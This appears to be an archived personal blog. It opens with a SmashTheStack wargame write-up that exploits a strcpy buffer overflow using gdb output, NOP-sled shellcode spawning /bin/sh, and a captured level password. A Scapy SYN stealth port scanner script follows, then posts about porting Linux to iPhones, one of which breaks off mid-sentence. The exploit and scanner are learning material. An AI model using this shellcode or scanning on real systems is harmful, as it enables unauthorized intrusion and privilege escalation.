Friday, December 30, 2011

SmashTheStack IO - Level 5: Writing my first buffer overflow

This level was a little more complicated than the previous levels. As always, we need to get the password from /home/level6/.pass. In this level we learn a little about reverse engineering and how to write a basic buffer overflow. I will list what I did to prepare for this level under requirements.

Requirements:

Linux Assembly Primer for Hackers
Buffer Overflow Exploitation Megaprimer for Linux

The requirements listed above should give you enough knowledge to beat level five. If you haven't watched these series from security tube, I would highly recommend them. Make sure you follow along with his examples and understand what you're doing. Anyway, lets move onto the good stuff.

What is a buffer overflow?


A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold or when a program attempts to put data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers.



login as: level5
 ____ ____
||i |||o || Welcome at IO and smashthestack!
||__|||__||
|/__\|/__\| If you have problems connecting please contact us on IRC. (irc.smash                                                                                       thestack.org +6697)
level5@io.smashthestack.org's password:
 ______   _____
/\__  _\ /\  __`\       Levels are in /levels
\/_/\ \/ \ \ \/\ \      Passes are in ~/.pass
   \ \ \  \ \ \ \ \     Readmes in /home/level1
    \_\ \__\ \ \_\ \
    /\_____\\ \_____\   Server admin: bla (bla@smashthestack.org)
    \/_____/ \/_____/

        1. No DoS, local or otherwise
        2. Do not try to connect to remote systems from this box
        3. Only two connections per IP are allowed
        4. Quotas are in place so don't waste resources
        5. This rules list is not all inclusive and is subject to change
        6. Have fuN++

                                (29 levels)

- use long(>5char) names in /tmp, short stuff is periodically deleted, as are
easily guessable ones
- o and feel free to leave your email in /home/email.list (it's writeonly)
  or feedback in leastlikedlevels.list.
- new level24, old level24 is now level04_alt
- new beta, check irc for more info

 _    ,                    _ __            _    ,
' )  /                    ' )  )          ' )  /
 /--/ __.  _   _   __  ,   /  / _  , , ,   /  / _  __.  __
/  (_(_/|_/_)_/_)_/ (_/_  /  (_</_(_(_/_  (__/_</_(_/|_/ (_
         /   /       /                     //
        '   '       '                     (/
  4 dr-xr-xr-x  2 level5 level5   4096 Jul 29 18:57 .
  4 drwx--x--x 36 root   root     4096 Dec 21 09:38 ..
  4 -r--------  1 level5 level5     13 Feb 28  2011 .pass
  8 -rw-r--r--  1 root   root     7316 Aug  1 03:33 .r2intro.tpp
  4 -rwxr-xr-x  1 root   root       43 Jul 29 18:57 introductiontoradare.sh
144 -rw-r--r--  1 level5 level5 142195 Dec 31 05:11 tags
level5@io:~$ cd /levels
level5@io:/levels$ ls -las level05*
 8 -r-sr-x--- 1 level6 level5 7140 Nov 16  2007 level05
 4 -r-------- 1 level5 level5  178 Oct  4  2007 level05.c
12 -r-sr-x--- 1 level6 level5 8752 Feb 22  2010 level05_alt
 4 -r-------- 1 level5 level5 2954 Feb 24  2010 level05_alt.c
level5@io:/levels$ cat level05.c<


We log into the server and start looking around. The first thing we notice is Level six owns the level05 binary. At this point, we have no idea what this binary does. Lets check out the source code to see what it does.

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

        char buf[128];

        if(argc < 2) return 1;

        strcpy(buf, argv[1]);

        printf("%s\n", buf);

        return 0;
}


Simple, it's a program coded in C to copy the first argument given at command line into a character array named buf[]. I will refer to buf[] as the buffer throughout this write up. The buffer is 128 bytes long. The most interesting part of this code is strcpy(). I decided to look at the man page to figure out exactly what this function does since I'm not familiar with C. Here's a snippet of it.

NAME

strcpy − copy a string

SYNOPSIS

#include

char *strcpy(char *restrict s1, const char *restrict s2);

DESCRIPTION

The strcpy() function shall copy the string pointed to by s2 (including the terminating null byte) into the array pointed to by s1. If copying takes place between objects that overlap, the behavior is undefined.


The vulnerability in this code can be fixed by checking the bounds of the array. However, we're not here to fix broken code. We're here to break the application itself. Since we already know how the stack works, we can most likely overwrite the return address (RA) with a point in memory to execute whatever code we want. Albeit, we need to store our evil code (shell code) into it. Our exploit will look like this in the stack. Let N represent NOPs, S represent our shell code, and R represent the address in memory that holds our shell code.


bottom of                                                  top of
memory                                                    memory
                  buf          sfp     RA  
<-----      [NNNNSS]  [     ]  [RRRR]       ----->

top of                                                       bottom of
stack                                                        stack

It's important to note this is not everything in the stack at this time. However, it doesn't matter much in this case. Our goal is to overwrite RA with an address we can control. My first attempt at this challenge I tried finding the address of buf (shell code) to overwrite the RA with. This was not easy whatsoever. Typically we use NOP (no operation) instructions to increase the likelihood that we jump to some location near our shell code. I never did get this to work properly so I decided to use a variable I could control. Anyway, lets see how we figure out if an application is vulnerable to a buffer overflow

level5@io:/levels$ ./level05
level05      level05_alt
level5@io:/levels$ ./level05 $(python -c 'print "A"*136')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
level5@io:/levels$ ./level05 $(python -c 'print "A"*140')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault


We run level05 and give the program input. It appears all the program does is print the given string back to us. We keep trying to print larger strings until the program crashes. We have verified a potential buffer overflow. Next we need to make sure that we can overwrite the RA (Return Address). If we can, this will allow us to execute any shell code we want!

level5@io:/levels$ gdb level05
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /levels/level05...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x080483b4 <main+0>:    push   %ebp
0x080483b5 <main+1>:    mov    %esp,%ebp
0x080483b7 <main+3>:    sub    $0xa8,%esp
0x080483bd <main+9>:    and    $0xfffffff0,%esp
0x080483c0 <main+12>:   mov    $0x0,%eax
0x080483c5 <main+17>:   sub    %eax,%esp
0x080483c7 <main+19>:   cmpl   $0x1,0x8(%ebp)
0x080483cb <main+23>:   jg     0x80483d9 <main+37>
0x080483cd <main+25>:   movl   $0x1,-0x8c(%ebp)
0x080483d7 <main+35>:   jmp    0x8048413 <main+95>
0x080483d9 <main+37>:   mov    0xc(%ebp),%eax
0x080483dc <main+40>:   add    $0x4,%eax
0x080483df <main+43>:   mov    (%eax),%eax
0x080483e1 <main+45>:   mov    %eax,0x4(%esp)
0x080483e5 <main+49>:   lea    -0x88(%ebp),%eax
0x080483eb <main+55>:   mov    %eax,(%esp)
0x080483ee <main+58>:   call   0x80482d4 <strcpy@plt>
0x080483f3 <main+63>:   lea    -0x88(%ebp),%eax
0x080483f9 <main+69>:   mov    %eax,0x4(%esp)
0x080483fd <main+73>:   movl   $0x8048524,(%esp)
0x08048404 <main+80>:   call   0x80482b4 <printf@plt>
0x08048409 <main+85>:   movl   $0x0,-0x8c(%ebp)
0x08048413 <main+95>:   mov    -0x8c(%ebp),%eax
0x08048419 <main+101>:  leave
0x0804841a <main+102>:  ret
End of assembler dump.
(gdb) run $(python -c 'print "A"*140 + "B"*4')
Starting program: /levels/level05 $(python -c 'print "A"*140 + "B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r $eip
eip            0x42424242       0x42424242
(gdb) quit
A debugging session is active.

        Inferior 1 [process 7253] will be killed.

Quit anyway? (y or n) y

Our program crashes at 140 bytes. The return address should be next in the stack. If this is the case, EIP will be 0x42 as that's the hex character for "B". Our assumption was right and EIP is assigned the value we intended. Now we need to find some shell code and finish writing our exploit. It's important to note that our shell code must be null free or the exploit won't work properly. Refer to strcpy() man page if you're confused. Earlier, we discussed filling the buffer with our shell code. I couldn't find its location in memory so I decided to use an environment variable. I highly encourage doing some research on environment variables. I learned quite a bit about them trying to beat this level. We will store our NOP sled and shell code in an environment variable named exploit.


level5@io:/levels$ export EXPLOIT=$(python -c 'print "\x90"*10000 + "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')

level5@io:/levels$ mkdir /tmp/lopisec && cd /tmp/lopisec
level5@io:/levels$ nano /tmp/lopisec/checker.c


Here we print 10000 NOPs and our null terminated shell code by Aleph. You can find this shell code using a magical tool called Google. We have our exploit ready, but what else do we need to do? We need to find the the location in memory environment variable "EXPLOIT" resides. We will write a simple C program to do this. I tried writing it in python first, but I wasn't able to write a more efficient version.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
printf("\n%p\n\n", getenv("EXPLOIT"));
return(0);
}

level5@io:/tmp/lopisec$ gcc -o checker checker.c
level5@io:/tmp/lopisec$ cd /levels
level5@io:/levels$ /tmp/lopisec/checker

0xbfffb760


We execute our newly compiled program and find the memory location of "EXPLOIT". Our goal is still to overwrite the return address with the memory location of our exploit. I began thinking to myself, why can't I print the address of "EXPLOIT" a good number of times? Turns out that I can do that and it's exactly what I did. Instead of forcing myself to be very precise, I can simply guess. We print the address of "EXPLOIT" thirty six times and a shell appears!


level5@io:/levels$ ./level05 $(python -c 'print "\x60\xb7\xff\xbf"*36')
`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿`·ÿ¿
sh-4.1$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1006(level6),1005(level5),1029(nosu)
sh-4.1$ cat /home/level6/
.pass  tags
sh-4.1$ cat /home/level6/
.pass  tags
sh-4.1$ cat /home/level6/.pass
MJQsFVD8k46V


I learned a lot from this level, and it took me awhile to understand what I was doing. I realized there's no standard way to write an exploit. There's clearly undiscovered techniques that are waiting to be unveiled. When I first started this level, I thought exploits were magical. Now I view it as nothing more than a simple concept. I'm really looking forward to the next level. If you can offer any advice or have questions, please let me know.

Thursday, December 29, 2011

Learning Scapy - SYN Stealth Port Scanner aka SynCity

For a long time I never understood what a SYN Stealth actually did. With nmap, this is the -sS option. To get a better understanding of how a SYN Stealth scan works I wrote one in python using scapy.

What is Scapy?

"Scapy is a powerful interactive packet manipulation program. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, match requests and replies, and much more. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace hping, 85% of nmap, arpspoof, arp-sk, arping, tcpdump, tethereal, p0f, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining technics (VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc."

TCP Three way handshake

The TCP three way handshake in Transmission Control Protocol is the method used to establish TCP socket connections and tear down TCP socket connections over the network. TCP's three way handshaking technique is referred to as the 3-way handshake or as "SYN-SYN-ACK" (or more accurately SYN, SYN-ACK, ACK). Lets look at an example. Host A wants to open a connection to a web server on Host B.

Host A sends a TCP SYNchronize packet to Host B
Host B receives Host A's SYN
Host B sends a SYNchronize-ACKnowledgement to Host A
Host A receives Host B's SYN-ACK
Host A sends ACKnowledge
Host B receives Host A's ACK

This completes the three way handshake which establishes a TCP socket conection. Host A is now connected to the web server running on Host B.

How does a SYN Stealth port scan work?

Host A sends SYN
Host B sends SYN-ACK
Host A sends RST

A SYN Stealth scan makes use of the TCP three way handshake by sending a SYN packet and looking at the response. If SYN/ACK is sent back, the port is open and the remote (Host B) end is trying to open a TCP connection. The scanner then sends an RST to tear down the connection before it can be established fully; often preventing the connection attempt appearing in application or firewall logs.

SynCity - SYN Stealth Port Scanner

If anyone has any suggestions to improve my code, please let me know. Show mercy, this is my first time doing any sort of network programming.

#! /usr/bin/env python
#####################################
#           SynCity by Lopi         #
#            Version 0.1            #
#           SYN Stealth Scan        #
#####################################

# Libraries!
import sys
from scapy.all import *

#conf.iface='eth0' # network interface to use
conf.verb=1 # enable verbose mode - Is this actually working?
conf.nofilter=1

# Prints title, version, contact info, etc.
def banner():
    title = "SynCity - SYN Stealth Port Scanner"
    version = "Version 0.1"
    contact = "chris[dot]spehn[at]gmail[dot]com"
    print '\n' + title.center(45)
    print '\n' + version.center(45)
    print '\n' + contact.center(45)

# Displays how to enter SynCity
# TODO v0.2: Change to question based user input driven functionality
# For Example, ./SynCity.py
# What is your source ip address? What is your destination ip address? Which port would you like to scan?
def usage():
    print "\nSynCity: You can't enter SynCity using that syntax!"
    print "Usage: ./SynCity.py   "
    print "Example: ./SynCity.py 127.0.0.1 192.168.1.1 22"

# Function to actually do the SYN Stealth sekrit stuffz
#  SYN -->  SYN-ACK -->  RST
# result returns open or closed
# TODO v0.2: Send RST packet
# TODO v0.2: Add filtered state instead of analyzing the results manually
def single_scan():
    srcip = sys.argv[1]
    dstip = sys.argv[2] # target ip address
    port = sys.argv[3]
    ip = IP(src=srcip,dst=dstip)
    TCP_SYN = TCP(sport=RandShort(),dport=int(port),flags='S',seq=40) 
    TCP_SYNACK = sr1(ip/TCP_SYN,timeout=1) # send packet and wait for the first reply
    if not TCP_SYNACK or TCP_SYNACK.getlayer(TCP).flags != 0x12: # SEQ Number for SYN-ACK
        print "\n"+str(port)+":closed\n" # response from our target aka hostip - expect RST
    else:
        print "\n"+str(port)+":open\n" # response from our target aka hostip - expect SYN-ACK
 
# TODO v0.2: Add functionality to allow scanning of multiple ports. Need a sane way to do this.
# What would we do without good ole main?
def main():
    banner()
    single_scan()
    
# Force user to enter SynCity properly
# TODO v0.2: Extend if statements to support scanning of multiple ports
if __name__ == '__main__':
    if len(sys.argv) > 4 or len(sys.argv) < 4:
        usage()
        sys.exit(1)
    else:
        main()
# EOF

############################################################################
#                                References                                #
############################################################################
#  http://www.secdev.org/projects/scapy/doc/usage.html                     #
#  http://www.clshack.it/en/python-scapy-syn-scan-ack-scan-null-scan.html  #                                      
############################################################################

Scapy is an amazing tool, and I can't wait to learn more about it. I plan to continue improving SynCity as much as possible. Hopefully I'll get better at coding too!

Friday, June 17, 2011

My Jedi Master: lilstevie

Hey all,

It has been a few weeks. This post is all about my jedi master, lilstevie. He's one of the founding members of Project iX and has contributed to the project from the start. We can't thank him enough for his contributions. Who knows where the project would be without him. I decided doing a community spotlight blog post would be a great way to thank him for his efforts. Unfortunately, lilstevie no longer has an iDevice to work on the project. However, he is doing some awesome work porting Ubuntu to various Android devices such as: Samsung Galaxy S, Samsung Galaxy Tab, Motorola Xoom. Take a look at his side by side picture of the Galaxy Tab and S running Ubuntu here.

Why am I calling littlestevie my "Jedi Master"? We are always collaborating on something, and he continually impresses me. If he needs help with Galaxy Linux or any other port target; I try to give him a helping hand and he does the same for me with Project iX. He's definitely more knowledgeable and experienced when it comes to porting Linux to arm devices. He typically doesn't need my help, but I do surprise myself at how much help I can give him when he needs it. Most of you probably didn't know lilstevie is my right hand man and vice versa. This is why he's my Jedi Master. He has always been around helping silently not asking for any credit; he's always willing to share knowledge and teach me what he knows. lilstevie is always there to help the project, and I couldn't be more grateful.

Recently, lilstevie has been getting credit from Canonical for his work. They're sending him an Asus Transformer and I couldn't be more jealous. Yesterday, we spoke about how it would be a great port target. Today, Canonical emailed him stating they're going to give him one for free after he sent out a tweet for donations. Talk about support from the community! I couldn't be happier for him, and wanted to give him some well deserved attention. I would encourage all of you to follow his twitter accounts and check out his blog. I promise you will be impressed with his work.

Blog : GalaxyLinux Twitter : lilstevie's Twitter

Cheers,

Lopi

Monday, May 30, 2011

iX SHR 1.10 Release

Hey everyone,

I promised a release was coming soon and it's finally here! It has been several months since my last release, but I promise I have been working hard. I hope everyone enjoys this release more than the last. This release supports the iPhone 3G and the IPT1G. However, it is possible to run iX on the iPhone2G. I'll start off by listing the changes in terms of hardware functionality.

Functional:

1.) CPU
2.) USB
3.) NOR
4.) NAND
5.) LCD
6.) WLAN - Scans properly with interfaces file configured correctly.
7.) Audio - Speakers and headphones.
8.) GPU - Framebuffer only, no acceleration.
9.) Touchscreen
10.) Backlight (Automatic backlight dimming only works on the iPhone3G)

Non-functional:

1.) Baseband (Voice) - Work in progress (Texts and Phone calls).
2.) Accelerometer - Works, but requires restarting Xorg. Need to
implement rotation without restarting Xorg.
3.) Bluetooth
4.) Baseband (Data/3G)
5.) PMU - Partially implemented at the kernel level.
6.) Camera
7.) Multi-touch

There were quite a few cosmetic changes in this release. For example, I replaced the illume home screen launcher with a newer module called Elfe. iX also defaults to a lock screen when the backlight dims all the way. I mapped the hardware buttons as follows:

  • Power button: Power options (Shutdown, Restart, etc.)

  • Volume buttons: Turn volume up and down (No visuals, but it does work)

  • Home button: Close applications


Known issues:

  • IPT1G backlight does not dim automatically

  • IPT1G sound does not work without modifications

  • Cosmetic DPI scaling issue. This can be fixed by changing scaling in illume settings under the category "Look".


Overall, I feel this release is much better than my first one. Refer to this video to see it in action: http://www.youtube.com/watch?v=pi5DVnX9sMk

Release Mirrors:

MD5: bf9098dcc831881575893d2d77263761

Please let me know if any of the mirrors go down. I'll be adding another mirror when the iDroid project admin, nickp666, gets a chance to upload the release to cdn.idroidproject.org.

For support, please visit www.idroidproject.org and post in the support section for iX in the forums. Feel free to contact me on twitter as well. You can also get support on irc on the following server: irc.freenode.net channel: #iX

Thanks to (in no order of importance): iPhone dev team, planetbeing, nickp666, ricky26, CPICH, Bluerise, Neonkoala, ddominator, alex, kleemajo, Popple3, eggy, rekoil, James, iKex, GNUtoo, ALoGeNo, lilstevie, esto, ParkerR, krzie, biscuit, t1g3r, and anyone else that helped me. Sorry if I missed someone!

Follow the instructions in the read me. I hope everyone enjoys it!

Cheers,

Lopi

Friday, May 27, 2011

Latest advancements with iX

Hey all,

It's me again. I wanted to detail all the latest advancements I have made in the past few months with iX. I want this to be a very visual post. You'll be seeing lots of screenshots that mostly came from the presentations I gave at my university. For those wondering, I go to Illinois State University. My major is Information Systems and I am in the Information Assurance & Security sequence. The presentations I gave were at the IT Awards Scholarship Ceremony and BIAC (Business Industry Advisory Council). I had to explain everything in layman's terms so they weren't technical presentations. This was definitely a big challenge for me, but all the professors said I did a great job. You can find my presentation here.

Anyway, onto the good stuff! If you looked at my presentation then you're going to see some of the same images again. The biggest advancement with iX has been with the GUI. I'm still using Enlightenment with the infamous mobile friendly theme Illume featured in many OpenMoko distributions. A developer by the name of capitainigloo coded a home screen replacement for illume called elfe. He has several videos demonstrating it on youtube. If you're interested you can find the code here. With that being said, he deserves all the credit. I simply cross compiled it for my phone. He's doing great work and it's definitely a step in the right direction for a more mobile friendly GNU/Linux distribution, especially in terms of cosmetics. You can see pictures of elfe here.

Another advancement is I actually have the backlight working now. After an alloted amount of time, the backlight will turn off and default to a lock screen. Unfortunately, I don't have the resources to record a video right now. Screenshots will have to suffice for now. I'm still working on mapping the power button to the lock screen, but it's only a matter of time. Anyway, here's a screenshot of the lock screen. I apologize for the poor quality image.

I mentioned mapping the power button to the lock screen in the future. Right now the buttons are mapped as follows:

  • Power button: Power options

  • Volume buttons: Turn volume up and down

  • Home button: Close application


It's important to note that changing the volume with buttons is not displayed graphically, but they do work. I need to look into changing that, but there are more pressing issues. As far as hardware functionality goes, I'm almost on par with the iDroid project. All I have left to implement is the baseband. I don't want to embarrass myself so I'm not going to share what I have coded so far. Check my presentation for other screenshots to see the current state iX is in. I hope you all found this informative. Feedback is encouraged as always. Expect another release soon!

Cheers,

Lopi

The Capabilities of OpeniBoot

Greetings all,

I'd like to start by apologizing for the lack of updates on the blog. I'm going to make a better effort to update the blog on a weekly basis. Procrastination usually gets the best of me even if I am actively working on iX. This post will primarily focus on the capabilities of OpeniBoot as the title suggests. I'm more or less going to show you what capabilities OpeniBoot brings to your device. Mainly focusing on my own device and explaining how I have my iPhone3G setup.

I have been using a development version of OpeniBoot. With this version of OpeniBoot, I can do a dual boot, tri boot, or even a quad boot. The iDroid developers made a grub style menu.lst file which allows you to setup as many boot entries as you want. This menu.lst file must be in /boot/ in iOS. You can find my menu.lst here.

As you can probably tell from reading the file, I'm currently booting the follow operating systems: iOS, Android, Ubuntu, SHR, Mer. That's five different operating systems on a phone! The file systems may be emulated, but the operating systems are running natively. One downside to this OpeniBoot version is the fact that it's text based only at the moment. Eventually there will be support for theming. However, it's currently broken. When I start my phone, I get a text based list that looks like this.

Sincerely,

Lopi

Friday, February 4, 2011

The Future of iX

Hey all,

It has been a few weeks. Recently, I have been trying to decide the future of the iX project. I'm still undecided at this point, but here's what I have been pondering:

  1. Build a custom linux distribution from scratch

  2. Build a custom version of Ubuntu (custom window manager, software, etc.)

  3. Port Meego


I decided to research the three suggestions I was given from the iDroid/iX community. The first options offers an insane amount of customization. This will take the longest and the most work. However, I do not see a point in reinventing the wheel. GNU/Linux is GNU/Linux and that has hardly changed at all over the years. When choosing a Linux distribution, it all comes down to personal preference. It would be great to have our own repositories which can easily be done on any distribution. Seems like a great option as we require lots of customization, but I am only one person. I would need some serious help here.

This leads us to Ubuntu, the most popular distribution in the world. They also have great arm support. Although, it is limited with the devices we currently support. We must use Karmic as it's the latest release that supports armv6 and older. The onlylg

Tuesday, January 18, 2011

iX SHR 1.00 Release

Hey folks,

It has been awhile since I have made a blog post. iX went through some serious changes. I recently switched domains and hosts. The good news is this is a release post. I'll start by listing what hardware is functional in iX. To be clear, iX aims to provide an X11 based GNU/Linux distribution for Apple's iDevices. We currently support the iPhone3G and IPT1G. Although, the iPhone2G can run iX as well.

What works:

1.) CPU
2.) USB
3.) NOR
4.) NAND
5.) LCD
6.) WLAN - Scans properly with interfaces file configured correctly.
7.) Audio - Speakers and headphones.
8.) GPU - Framebuffer only, no acceleration.
9.) Touchscreen

What doesn't work:

1.) Baseband (Voice) - Work in progress (Texts and Phone calls).
Ultrasn0w unlock and wildcard unlock must be ported to fsogsmd from
iDroid ril source.
2.) Accelerometer - Works, but requires restarting Xorg. Need to
implement rotation without restarting Xorg.
3.) Bluetooth
4.) Baseband (Data/3G)
5.) PMU - Partially implemented at the kernel level. Need to implement
in SHR. Suspend/Resume works in iDroid (Android).
6.) Camera
7.) Multi-touch

I hope everyone likes the release as I worked very hard on it. Unfortunately, I didn't have time to make another video. You can refer to my previous one here: http://www.youtube.com/watch?v=7w3grzo_ybM

For support, please visit www.idroidproject.org and post in the support section for iX in the forums. You can also get support on irc on the following server: irc.freenode.net channel: #iX

Release: http://cdn.idroidproject.org/release/ix/iX-SHR-3G-1.00.zip

Thanks to (in no order of importance): planetbeing, nickp666, ricky26, CPICH, Bluerise, Neonkoala, ddominator, alex, kleemajo, Popple3, eggy, rekoil, James, iKex, GNUtoo, ALoGeNo, lilstevie, and anyone else who helped me. Sorry if I missed someone.

Follow the instructions in the read me. I hope everyone enjoys it!

Cheers,

Lopi